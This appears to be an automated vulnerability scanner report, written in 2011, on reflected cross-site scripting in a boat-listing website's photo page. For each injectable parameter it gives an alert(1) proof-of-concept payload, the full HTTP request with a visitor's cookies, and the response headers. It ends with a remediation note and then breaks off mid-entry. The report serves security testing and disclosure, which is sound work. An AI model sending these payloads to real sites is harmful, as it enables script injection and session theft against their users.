<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the boatyr request parameter is copied into the HTML document as text between TITLE tags. The payload 69485</title><script>alert(1)</script>d1da9f3582d was submitted in the boatyr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/displayPhoto.jsp?ybw=&boat_id=2266476&boatyr=200669485</title><script>alert(1)</script>d1da9f3582d&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=1285261228000&photo_name=Photo+2&photo=2&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:33:35 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the boatyr request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df26d"><script>alert(1)</script>f8db49b05ea was submitted in the boatyr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/displayPhoto.jsp?ybw=&boat_id=2266476&boatyr=2006df26d"><script>alert(1)</script>f8db49b05ea&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=1285261228000&photo_name=Photo+2&photo=2&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:33:27 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the photo_name request parameter is copied into the HTML document as plain text between tags. The payload 76d4a<script>alert(1)</script>c42f2171b1f was submitted in the photo_name parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=1285261228000&photo_name=Photo+176d4a<script>alert(1)</script>c42f2171b1f&photo=1&url=&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:33:51 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the photo_name request parameter is copied into the HTML document as text between TITLE tags. The payload 2d7fa</title><script>alert(1)</script>6709c510f8f was submitted in the photo_name parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=1285261228000&photo_name=Photo+12d7fa</title><script>alert(1)</script>6709c510f8f&photo=1&url=&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:33:54 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the photo_name request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f88f"><script>alert(1)</script>d37390a732d was submitted in the photo_name parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=1285261228000&photo_name=Photo+11f88f"><script>alert(1)</script>d37390a732d&photo=1&url=&back=%2Fboats%2F2006%2F32-Regulator-With-Trailer-**reduced**-2266476%2FDestin%2FFL%2FUnited-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:33:49 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 23 Sep 2010 17:00:28 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the photo_revised_date request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4497e'%3balert(1)//49ec788f734 was submitted in the photo_revised_date parameter. This input was echoed as 4497e';alert(1)//49ec788f734 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
